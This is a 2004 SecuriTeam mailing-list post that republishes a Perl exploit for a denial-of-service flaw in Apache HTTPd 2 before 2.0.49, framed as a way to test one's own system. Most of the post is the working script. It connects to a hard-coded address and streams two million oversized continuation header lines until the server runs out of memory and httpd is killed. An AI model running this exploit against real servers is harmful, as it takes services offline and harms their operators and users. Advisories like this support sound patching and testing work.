[EXPL] Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)

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To: list@securiteam.com
Date: 21 Jul 2004 11:20:45 +0200

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  Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article,
<http://www.securiteam.com/unixfocus/5NP010ADFY.html> Apache HTTPd
Arbitrary Long HTTP Headers DoS, under certain conditions passing
arbitrary long headers to Apache will allocate large chunks of memory
which eventually will lead to a DoS condition. The following exploit code
can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
    $buf=" $buf4\r\n";
    send($sock,$buf,0) || die "send error:$@, target maybe have been
D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);

ADDITIONAL INFORMATION

The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.
The original article can be found at:
<http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59>
http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59

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